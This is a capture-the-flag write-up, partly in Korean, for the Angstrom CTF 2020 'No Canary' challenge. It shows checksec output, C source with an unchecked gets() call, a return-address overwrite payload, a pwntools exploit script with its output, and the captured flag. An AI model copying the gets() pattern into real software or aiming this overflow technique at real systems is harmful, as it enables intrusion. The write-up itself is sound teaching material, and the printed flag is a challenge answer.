Search

[PWN] No Canary

Year
2020
CTF Name
Angstrom CTF
Category
PWN
Type
Basic_BOF

1. Description

Agriculture is the most healthful, most useful and most noble employment of man.
—George Washington
Can you call the flag function in this program (source)? Try it out on the shell server at /problems/2020/no_canary or by connecting with nc shell.actf.co 20700.
Author: kmh

2. Write up

# file ./no_canary ./no_canary: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e4c94e78496350a02c414f42dc15444e35332fcd, for GNU/Linux 3.2.0, not stripped # checksec --file no_canary [*] '/mnt/hgfs/CTF/CTF/2020/Angstrom CTF/pwnable/No_Canary/no_canary' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Python
복사
문제 파일은 바이너리와 바이너리의 소스 코드로 이루어져있다. 바이너리 파일을 우선적으로 확인하면 64bit ELF 파일인 것을 확인할 수 있다. 해당 바이너리에는 NX가 걸려있는 것을 확인했다.
#include <stdlib.h> #include <stdio.h> #include <string.h> void flag() { system("/bin/cat flag.txt"); } int main() { ...... ...... char name[20]; gets(name); printf("Nice to meet you, %s!\n", name); }
C
복사
문제 파일을 확인해보면 취약한 함수인 gets를 사용하고 있고 flag라는 함수가 있으나 메인 함수에서는 호출하고 있지 않다. gets 함수를 이용해서 flag 함수를 호출할 것이다.
사용자가 입력한 데이터를 입력받는 버퍼는 [rbp-0x20]에 위치한 것을 확인할 수 있다.
따라서 페이로드는 아래와 같이 구성하면 된다.
Payload = [0x20 buffer] + [0x8 SFP] + [flag function address]
from pwn import * r = remote("shell.actf.co",20700) print r.recvuntil("name? ") p = '' p += "a"*0x20 // Dummy buffer p += "b"*8 // SFP(8byte) p += p64(0x401186) // flag function address r.sendline(p) print r.recv(1024) r.interactive() ''' Nice to meet you, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbb\x86\x11! [*] Switching to interactive mode actf{that_gosh_darn_canary_got_me_pwned!} '''
C
복사

3. FLAG

actf{that_gosh_darn_canary_got_me_pwned!}